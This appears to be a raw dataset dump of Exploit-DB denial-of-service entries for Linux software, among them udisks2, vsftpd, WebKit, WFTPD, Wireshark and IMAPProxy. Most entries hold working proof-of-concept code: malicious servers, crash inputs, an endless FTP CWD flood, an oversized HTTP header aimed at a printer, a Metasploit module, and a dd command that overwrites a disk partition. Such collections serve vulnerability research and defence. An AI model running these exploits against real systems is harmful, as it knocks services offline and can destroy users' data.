deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45450
Description: udisks2 2.8.0 - Denial of Service (PoC)
Type: dos
Platform: linux
Date: 2018-09-24
Author: Marshall Whittaker

Exploit:
# Exploit: udisks2 2.8.0 - Denial of Service (PoC)
# Author: oxagast
# Date: 2018-09-22
# Vendor Homepage: http://storaged.org/
# Software Link: https://github.com/storaged-project/udisks
# Version: <=udisks2 2.8.0
# Tested on: Ubuntu x64
    __ _  _  __   ___  __  ____ ____ 
  /  ( \/ )/ _\ / __)/ _\/ ___(_  _)
 (  O )  (/    ( (_ /    \___ \ )(  
  \__(_/\_\_/\_/\___\_/\_(____/(__)

# ========The vulnerable section of code is:========
#if GLIB_CHECK_VERSION(2, 50, 0)
  g_log_structured ("udisks", (GLogLevelFlags) level,
        "MESSAGE", message, "THREAD_ID", "%d", (gint) syscall (SYS_gettid),
        "CODE_FUNC", function, "CODE_FILE", location);
#else
  g_log ("udisks", level, "[%d]: %s [%s, %s()]", (gint) syscall (SYS_gettid), message, location, function);

# =================Short Whitepaper=================
# The vulnerability can be triggered by using one computer to create a filesystem on a USB key 
# (or other removable media), then editing it's filesystem label to include a bunch of %n's, removing and 
# inserting the media into another computer running udisks2 <=2.8.0.  This binary runs as root, and if 
# exploited in that capacity could potentially allow full compromise.  This will cause a denial of service, 
# crashing udisks2 and not letting it restart (or until /var/lib/udisks2/mounted-fs is 
# removed and the system is restarted).  This keeps the system from automounting things like USB drives and CDs.
# The vulnerability -may- be exploitable beyond a DoS by crafting a format string exploit and putting it
# in the label of the drive.  I tried to exploit it for a couple days, but cannot find a filesystem with a
# lengthy enough label to be able to fit the exploit and spawn a root shell, as the smallest shellcode I
# could make was around 50 characters, and the longest filesystem labels I could find are limited to 32 characters.

# =============Proof of Concept Code================
# This code will destroy any information on /dev/sdb1!!!!  Change that to where you have your USB media.
# PoC source code:

genisoimage -V "AAAAAAAA" -o dos.iso /etc/passwd && dd if=dos.iso | sed -e 's/AAAAAAAA/%n%n%n%n/g' | dd of=/dev/sdb1

# Now remove and reinsert the media and wait for the crash report.
Exploit-DB #25017
Description: UML_Utilities User-Mode Linux - uml_utilities 20030903 UML_Net Slip Network Interface Denial of Service
Type: dos
Platform: linux
Date: 2004-12-15
Author: Danny Lungstrom

Exploit:
source: https://www.securityfocus.com/bid/12016/info

The uml_utilites uml_net application may permit unprivileged malicious local users to shut down the slip network interface. This is due to the program being installed setuid root by default.

This vulnerability could be exploited to deny network services over slip on an affected computer. 

uml_net 4 slip down eth0
Exploit-DB #26601
Description: Unalz 0.x - Archive Filename Buffer Overflow
Type: dos
Platform: linux
Date: 2005-11-28
Author: Ulf Harnhammar

Exploit:
source: https://www.securityfocus.com/bid/15577/info

The 'unalz' utility is prone to a buffer-overflow vulnerability. This issue is exposed when the application extracts an ALZ archive that contains a file with a long name.

An attacker could exploit this vulnerability to execute arbitrary code in the context of the user who extracts a malicious archive. 

#!/usr/bin/perl --

# alzgen
# by Ulf Harnhammar in 2005
# I hereby place this program in the public domain.

die "usage: $0 <length> <filename>\n" unless @ARGV == 2;
$len = shift;
$lenhi = int($len / 256);
$lenlo = $len - ($lenhi * 256);
$file = shift;

open(OUT, ">$file") or die "can't open file!\n";
print OUT "\x42\x4c\x5a\x01" .        # SIG_LOCAL_FILE_HEADER
          chr($lenlo) . chr($lenhi) . # filename length
          "\x00" x 7 .
          'U' x $len;
close OUT or die "can't close file!?!?\n";
Exploit-DB #26340
Description: Up-IMAPProxy 1.2.3/1.2.4 - Multiple Unspecified Remote Format String Vulnerabilities
Type: dos
Platform: linux
Date: 2005-10-10
Author: Steve Kemp

Exploit:
// source: https://www.securityfocus.com/bid/15048/info

up-IMAPProxy is reported prone to multiple unspecified remote format-string vulnerabilities.

Successful exploitation could cause the application to crash or to execute arbitrary code in the context of the application.

Specific details of these issues are not currently known. This BID will be updated when further information becomes available. 

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>

#define BANNER "AAAAAAAAAA%x%x%x%x%x%n%n%n\r\n\r\n"

int main ( int argc, char *argv[] )
{
struct sockaddr_in addr, cl_addr;
int sock, cl_sock, addr_size;
char *Iaddr;
socklen_t l;

printf("Imapproxy <= 1.2.4 PoC Exploit\n");

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

addr.sin_family = AF_INET;
addr.sin_port = htons(143);
addr.sin_addr.s_addr = inet_addr("127.0.0.1");

bind(sock, (struct sockaddr*)&addr, sizeof(addr));
listen(sock, 5);

addr_size = sizeof(addr);

while (1) 
{
	cl_sock = accept(sock, (struct sockaddr*)&cl_addr, &l);
	Iaddr = inet_ntoa(cl_addr.sin_addr);
	send(cl_sock, BANNER, strlen(BANNER), 0);
	printf("IP: %s\n", Iaddr);
}

return 0;

}
Exploit-DB #48034
Description: usersctp - Out-of-Bounds Reads in sctp_load_addresses_from_init
Type: dos
Platform: linux
Date: 2020-02-10
Author: Google Security Research

Exploit:
'''
usersctp is SCTP library used by a variety of software including WebRTC. There is a vulnerability in the sctp_load_addresses_from_init function of usersctp that can lead to a number of out-of-bound reads. The input to sctp_load_addresses_from_init is verified by calling sctp_arethere_unrecognized_parameters, however there is a difference in how these functions handle parameter bounds. The function sctp_arethere_unrecognized_parameters does not process a parameter that is partially outside of the limit of the chunk, meanwhile, sctp_load_addresses_from_init will continue processing until a parameter that is entirely outside of the chunk occurs. This means that the last parameter of a chunk is not always verified, which can lead to parameters with very short plen values being processed by sctp_load_addresses_from_init. This can lead to out-of-bounds reads whenever the plen is subtracted from the header len.

To reproduce this issue:

1) run the attached 'server', initack.py

    python init_ack.py

2) run the sample usersctp client

./programs/.libs/client 127.0.0.1 7 0 8888 7777


The client will crash.
'''

import sys
from socket import *
import zlib


ECHO_PORT = 7777
BUFSIZE = 1024

def getshort(arr):
	return ord(arr[1]) + (ord(arr[0]) << 8);


def getlen(arr):
	return ord(arr[0]) + (ord(arr[1]) << 8);


def main():

        server()

def print_pack(pack):
	o = ""
	for item in pack:
		o = o + hex(ord(item)) + " "
	print "PACKET SENT", o

def server():
    times = 0
    if len(sys.argv) > 2:
        port = eval(sys.argv[2])
    else:
        port = ECHO_PORT
    s = socket(AF_INET, SOCK_DGRAM)
    s.bind(('', port))
    print 'udp echo server ready'
    while 1:
        data, addr = s.recvfrom(BUFSIZE)
	pack = ""
	for item in data:
		pack = pack + hex(ord(item)) + " "
        print 'server received %r from %r' % (pack, addr)

	vtag = data[16:20]
	type = ord(data[12])
	length = getshort(data[14:])

	port = "\x00\x07" + data[0:2]
	print "type", type, "len", length, "plen", len(data)
	ia = "\x86\x02\x01\x00\x2a\xe6\x97\x19\x00\x2c\x7c\x9f\x18\x33\x03\xc3\x07\x00\x01\x8e\x05\x00\x07\x00\x14\x0b\x36\x14\x01\x30\x2a\xe6\x97\x19\x00\x2c\x7c\x9f\xf9\x33\x05\x80\x03\x00\x01"
	print "vtag", hex(ord(vtag[0])), hex(ord(vtag[1])), hex(ord(vtag[2])), hex(ord(vtag[3]))
	o = port + "\0\0\0\0" + "\0\0\0\0" + vtag + ia[1:]
        crc = zlib.crc32(o) & 0xffffffff
        crcb= chr(crc&0xf) + chr((crc>> 8)&0xf) + chr((crc>> 16)&0xf) + chr((crc>> 24)&0xf)
      	o = port + vtag + crcb + ia[1:]
	print_pack(o) 
	s.sendto(o, addr)


main()
Exploit-DB #46439
Description: Valentina Studio 9.0.5 Linux - 'Host' Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2019-02-21
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: Valentina Studio 9.0.5 Linux - 'Host' Buffer Overflow (PoC)
# Date: 20/02/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://valentina-db.com/en/
# Software Link: https://www.valentina-db.com/en/all-downloads/vstudio/current/vstudio_x64_lin-deb?format=raw
# Version: 9.0.5
# Tested on: Linux kali amd64

# Proof of Concept:
# 1.- Run the python script "vstudio.py", it will create a new file "vstudio.txt"
# 2.- Copy the text from the generated vstudio.txt file to clipboard
# 3.- Open VStudio
# 4.- Go to File > Connect to...
# 5.- Click on Valentina Server or SQLite Server
# 6.- Paste clipboard in 'Host' field
# 7.- Click on button -> Connect
# 8.- Crashed

buffer = "\x41" * 264
f = open ("vstudio.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #48008
Description: VIM 8.2 - Denial of Service (PoC)
Type: dos
Platform: linux
Date: 2020-02-06
Author: Dhiraj Mishra

Exploit:
# Exploit Title: VIM 8.2 - Denial of Service (PoC)
# Date: 2019-12-17
# Vulnerability: DoS
# Vulnerability Discovery: Dhiraj Mishra
# Vulnerable Version: VIM - Vi IMproved 8.2 (Included patches: 1-131)
# Vendor Homepage: https://www.vim.org/
# References:
# https://github.com/vim/vim/commit/98a336dd497d3422e7efeef9f24cc9e25aeb8a49
#  Invalid memory access with search command

PoC: vim --clean -e -s -c 'exe "norm /\x80PS"'
Exploit-DB #12095
Description: Virata EmWeb R6.0.1 - Remote Crash
Type: dos
Platform: linux
Date: 2010-04-06
Author: Jobert Abma

Exploit:
# Exploit Title: Virata EmWeb R6.0.1 Remote Crash Vulnerability
# Date: 06/04/10
# Author: Jobert Abma (Online 24)
# Email: j.abma[at]online24[dot]nl
# Version: R6.0.1
# Tested on: linux
# CVE :()
# Code :

# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

- Exploit -

The Virata EmWeb software is embedded in multiple printers and DSL modems. For
example the HP Color LaserJet 2800-series. When sending a long header (long 
filename), the printer will reboot. Other soft- and hardware isn't tested yet.

- POC -

#!/usr/bin/python

import socket

host   = '192.168.1.110'
port   = 80
header = 'GET /' + ('A'*512) + ' HTTP/1.0\r\nHost: ' + host + '\r\nConnection: Close\r\n\r\n'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

print 'Sending header...'

s.send(header)

print 'Done!'
Exploit-DB #42397
Description: Vorbis Tools oggenc 1.4.0 - '.wav' Denial of Service
Type: dos
Platform: linux
Date: 2017-07-31
Author: qflb.wu

Exploit:
vorbis-tools oggenc vulnerability
================
Author : qflb.wu
===============


Introduction:
=============
The Vorbis Tools package contains command-line tools useful for encoding, playing or editing files using the Ogg CODEC.


Affected version:
=====
1.4.0


Vulnerability Description:
==========================
the wav_open function in oggenc/audio.c in vorbis-tools 1.4.0 can cause a denial of service(memory allocation error) via a crafted wav file.


./oggenc vorbis-tools_1.4.0_oggenc_memory_allocation_error.wav -o out


==68126==WARNING: AddressSanitizer failed to allocate 0xffffffffffffbc00 bytes
==68126==AddressSanitizer's allocator is terminating the process instead of returning 0
==68126==If you don't like this behavior set allocator_may_return_null=1
==68126==AddressSanitizer CHECK failed: /build/buildd/llvm-toolchain-3.4-3.4/projects/compiler-rt/lib/sanitizer_common/sanitizer_allocator.cc:149 "((0)) != (0)" (0x0, 0x0)
    #0 0x46d41f in __asan::AsanCheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/home/a/Downloads/vorbis-tools-1.4.0/oggenc/oggenc+0x46d41f)
    #1 0x472c81 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/home/a/Downloads/vorbis-tools-1.4.0/oggenc/oggenc+0x472c81)
    #2 0x4719c0 in __sanitizer::AllocatorReturnNull() (/home/a/Downloads/vorbis-tools-1.4.0/oggenc/oggenc+0x4719c0)
    #3 0x4674b6 in __interceptor_malloc (/home/a/Downloads/vorbis-tools-1.4.0/oggenc/oggenc+0x4674b6)
    #4 0x492896 in wav_open /home/a/Downloads/vorbis-tools-1.4.0/oggenc/audio.c:573
    #5 0x496d8e in open_audio_file /home/a/Downloads/vorbis-tools-1.4.0/oggenc/audio.c:86
    #6 0x485d0a in main /home/a/Downloads/vorbis-tools-1.4.0/oggenc/oggenc.c:256
    #7 0x7f6d9f8dcec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4)
    #8 0x47d55c in _start (/home/a/Downloads/vorbis-tools-1.4.0/oggenc/oggenc+0x47d55c)


    -----------------
wav->channel_permute = malloc(wav->channels * sizeof(int));
if (wav->channels <= 8)
   /* Where we know the mappings, use them. */
   memcpy(wav->channel_permute, wav_permute_matrix[wav->channels-1], 
           sizeof(int) * wav->channels);
else
   /* Use a default 1-1 mapping */
   for (i=0; i < wav->channels; i++)
       wav->channel_permute[i] = i;


return 1;


Andthe code didn't check the return of malloc.


POC:
vorbis-tools_1.4.0_oggenc_memory_allocation_error.wav
CVE:
CVE-2017-11331


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42397.zip
Exploit-DB #5814
Description: vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption
Type: dos
Platform: linux
Date: 2008-06-14
Author: Praveen Darshanam

Exploit:
#!/usr/bin/perl -w


#######################################################################################
#		vsftpd 2.0.5 FTP Server on Red Hat Enterprise Linux (RHEL) 5, Fedora 6 to 8,
#		Foresight Linux, rPath Linux is prone to Denial-of-Service(DoS) vulnerability.
#
#		Can be xploited by large number of CWD commands to vsftp daemon with deny_file configuration
#		option in /etc/vsftpd/vsftpd.conf or the path where FTP server is installed.
#
#		I tried to modify local exploit found at securityfocus such that we can remotely exloit
#
# 		Author shall not bear any responsibility
#		Author:	Praveen Darshanam
#		Email:	praveen[underscore]recker[at]sify.com
#		Date:	07th June, 2008
#
#
########################################################################################


use Net::FTP;
$ftp=Net::FTP->new("$ARGV[0]",Debug=>0) || die "Cannot connect to Host $ARGV[0]\n Usage: $perl script_name.pl target_ip\n";
$ftp -> login("anonymous","anonymous") || die "Could not Login...Retry";

while(1)
{
#this loop runs infinitely

$ftp -> cwd();
}

$ftp->quit;

# milw0rm.com [2008-06-14]
Exploit-DB #42103
Description: WebKit JSC - 'JSObject::ensureLength' ensureLengthSlow Check Failure
Type: dos
Platform: linux
Date: 2017-06-01
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1165

Here's a snippet of JSObject::ensureLength.

bool WARN_UNUSED_RETURN ensureLength(VM& vm, unsigned length)
{
    ASSERT(length < MAX_ARRAY_INDEX);
    ASSERT(hasContiguous(indexingType()) || hasInt32(indexingType()) || hasDouble(indexingType()) || hasUndecided(indexingType()));

    bool result = true;
    if (m_butterfly.get()->vectorLength() < length)
        result = ensureLengthSlow(vm, length);
        
    if (m_butterfly.get()->publicLength() < length)
        m_butterfly.get()->setPublicLength(length);
    return result;
}

|setPublicLength| is called whether |ensureLengthSlow| failed or not. So the |publicLength| may be lager than the actual allocated memory's size, which results in an OOB access.

Tested on Linux.

PoC:
*/

const kArrayLength = 0x200000;

let arr = new Array(kArrayLength);
arr.fill({});

let exh = [];
try {
    for (;;) {
        exh.push(new ArrayBuffer(kArrayLength * 8 * 8));
    }
} catch (e) {
}

try {
    arr.length *= 8;
    print('failed');
} catch (e) {
    print(e);

    exh = null;

    print('arr length: ' + arr.length.toString(16));
    for (let i = kArrayLength, n = arr.length; i < n; i++) {
        if (arr[i])
            print(arr[i]);
    }
}
Exploit-DB #46465
Description: WebKitGTK 2.23.90 / WebKitGTK+ 2.22.6 - Denial of Service
Type: dos
Platform: linux
Date: 2019-02-28
Author: Dhiraj Mishra

Exploit:
#Exploit Title: Buffer overflow
# Date: 27-02-2019
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: https://webkit.org/
# Software Link: https://gitlab.gnome.org/GNOME/epiphany
# Version: 2.23.90
# Tested on: Linux 4.15.0-38-generic
# CVE: CVE-2019-8375
# References:
# https://nvd.nist.gov/vuln/detail/CVE-2019-8375
# https://www.inputzero.io/2019/02/fuzzing-webkit.html

## Summary:
The UIProcess subsystem in WebKit, as used in WebKitGTK through 2.23.90 and
WebKitGTK+ through 2.22.6 and other products, does not prevent the script
dialog size from exceeding the web view size, which allows remote attackers
to cause a denial of service (Buffer Overflow) or possibly have unspecified
other impact, related to UIProcess/API/gtk/WebKitScriptDialogGtk.cpp,
UIProcess/API/gtk/WebKitScriptDialogImpl.cpp, and
UIProcess/API/gtk/WebKitWebViewGtk.cpp, as demonstrated by GNOME Web (aka
Epiphany).

## PoC:
<script>
   var a = '';
   for (var i = 1; i <= 5000; i++)
    {
       a += 'A';
    }
   alert(a);
</script>
Exploit-DB #44876
Description: WebKitGTK+ < 2.21.3 - 'WebKitFaviconDatabase' Denial of Service (Metasploit)
Type: dos
Platform: linux
Date: 2018-06-11
Author: Dhiraj Mishra

Exploit:
##
# Title: WebKitGTK+ < 2.21.3 - 'WebKitFaviconDatabase' DoS
# Author: Dhiraj Mishra
# Date: 2018-06-11
# CVE: 2018-11646
#
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => "WebKitGTK+ WebKitFaviconDatabase DoS",
        'Description'    => %q(
          This module exploits a vulnerability in WebKitFaviconDatabase when pageURL is unset.
          If successful, it could lead to application crash, resulting in denial of service.
        ),
        'License'        => MSF_LICENSE,
        'Author'         => [
          'Dhiraj Mishra', # Original discovery, disclosure
          'Hardik Mehta',  # Original discovery, disclosure
          'Zubin Devnani', # Original discovery, disclosure
          'Manuel Caballero' #JS Code
        ],
        'References' => [
          ['EDB', '44842'],
          ['CVE', '2018-11646'],
          ['URL', 'https://bugs.webkit.org/show_bug.cgi?id=186164'],
          ['URL', 'https://datarift.blogspot.com/2018/06/cve-2018-11646-webkit.html']
        ],
        'DisclosureDate' => 'Jun 03 2018',
        'Actions'        => [[ 'WebServer' ]],
        'PassiveActions' => [ 'WebServer' ],
        'DefaultAction'  => 'WebServer'
      )
    )
  end

  def run
    exploit # start http server
  end

  def setup
    @html = <<-JS
<script type="text/javascript">
 win = window.open("WIN", "WIN");
 window.open("http://example.com/", "WIN");
 win.document.execCommand('stop');
 win.document.write("HelloWorld");
 win.document.close();
</script>
    JS
  end

  def on_request_uri(cli, _request)
    print_status('Sending response')
    send_response(cli, @html)
  end
end
Exploit-DB #11770
Description: WFTPD 3.3 - Remote REST Denial of Service
Type: dos
Platform: linux
Date: 2010-03-16
Author: dmnt

Exploit:
# WFTPD 3.3 unhandled exception
#
# (x)dmnt 2010
# -*- coding: windows-1252 -*-

import socket
import sys, time


def help_info():
    print ("Usage: wftpdkill <host> <login> <password> <existingfle>\n")

def dos_it(hostname, username, passwd, exfile):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, 21))
    except:
        print ("[-] Connection error!")
        sys.exit(1)
    r=sock.recv(2048)
    print "[+] Connected"
    sock.send("user %s\r\n" %username)
    r=sock.recv(1024)
    time.sleep(3)
    sock.send("pass %s\r\n" %passwd)
    r=sock.recv(1024)
    print "Send evil commands"
    time.sleep(3)
    sock.send("pasv\r\n")
    r=sock.recv(1024)
    time.sleep(3)
    sock.send("rest[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]999999\r\n")
    r=sock.recv(1024)
    time.sleep(3)
    sock.send("retr %s\r\n" %exfile)
    time.sleep(3)
    sock.send("Burn, muthfcka, burn!\r\n")
    sock.close()
    print "Server killed\r\n"

print ("\nWFTPD 3.3 remote DoS exploit")

if len(sys.argv) < 5:
    help_info()
    sys.exit(1)

else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    passwd=sys.argv[3]
    exfile=sys.argv[4]
    dos_it(hostname,username,passwd,exfile)
    sys.exit(0)
Exploit-DB #36633
Description: Wireshark - Buffer Underflow / Denial of Service
Type: dos
Platform: linux
Date: 2012-01-10
Author: Laurent Butti

Exploit:
source: https://www.securityfocus.com/bid/51710/info

Wireshark is prone to a buffer-underflow vulnerability and multiple denial-of-service vulnerabilities.

Remote attackers can exploit these issues to execute arbitrary code in the context of the application or cause denial-of-service conditions.

Wireshark versions 1.4.0 through 1.4.10 and 1.6.0 through 1.6.4 are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36633.zip
Exploit-DB #31553
Description: Wireshark 0.99.8 - LDAP Dissector Denial of Service
Type: dos
Platform: linux
Date: 2008-03-28
Author: Peter Makrai

Exploit:
source: https://www.securityfocus.com/bid/28485/info
 
Wireshark is prone to multiple denial-of-service vulnerabilities.
 
Exploiting these issues may allow attackers to cause crashes and deny service to legitimate users of the application. Attackers may be able to leverage some of these vulnerabilities to execute arbitrary code, but this has not been confirmed.
 
These issues affect Wireshark 0.99.2 up to and including 0.99.8. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31553.pcap
Exploit-DB #31554
Description: Wireshark 0.99.8 - SCCP Dissector Decode As Feature Denial of Service
Type: dos
Platform: linux
Date: 2008-03-28
Author: Peter Makrai

Exploit:
source: https://www.securityfocus.com/bid/28485/info
  
Wireshark is prone to multiple denial-of-service vulnerabilities.
  
Exploiting these issues may allow attackers to cause crashes and deny service to legitimate users of the application. Attackers may be able to leverage some of these vulnerabilities to execute arbitrary code, but this has not been confirmed.
  
These issues affect Wireshark 0.99.2 up to and including 0.99.8.
 
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31554.gz
Exploit-DB #31552
Description: Wireshark 0.99.8 - X.509sat Dissector Denial of Service
Type: dos
Platform: linux
Date: 2008-03-28
Author: Peter Makrai

Exploit:
source: https://www.securityfocus.com/bid/28485/info

Wireshark is prone to multiple denial-of-service vulnerabilities.

Exploiting these issues may allow attackers to cause crashes and deny service to legitimate users of the application. Attackers may be able to leverage some of these vulnerabilities to execute arbitrary code, but this has not been confirmed.

These issues affect Wireshark 0.99.2 up to and including 0.99.8. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31552.pcap